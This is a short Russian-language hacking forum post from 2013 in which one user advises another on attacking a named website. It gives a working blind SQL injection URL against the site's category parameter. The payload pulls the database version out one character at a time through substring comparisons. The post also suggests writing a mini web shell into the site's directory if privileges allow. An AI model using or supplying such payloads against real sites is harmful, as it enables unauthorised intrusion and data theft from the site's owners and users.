Показать сообщение отдельно

  #7  
Старый 30.07.2013, 00:49
Inoms
Участник форума
Регистрация: 23.06.2013
Сообщений: 103
Провел на форуме:
23349

Репутация: 45
По умолчанию

Цитата:
Сообщение от Unknowhacker  
Ничего. Фильтрует
Код:
http://www.nova-plosha.com/index.php?hl=ru&idd=cat&cat=13957%27
Это слепая sql.

Её бессмысленно крутить, только по-символьно вытаскивать данные -

http://www.nova-plosha.com/index.php?hl=ru&idd=cat&cat=1%29%20or%201=1%20and% 20substring%28%28version%28%29%29,1,1%29=5%20%23w

Если что-то равно чему-то, в данном случае, первый символ версии субд=5 - выведет каталог), если нет - пустоту.

Или при лучших обстоятельствах сделать вывод мини-шелла в диру с сайтом при соответствующих привилегиях и правах.
 
Ответить с цитированием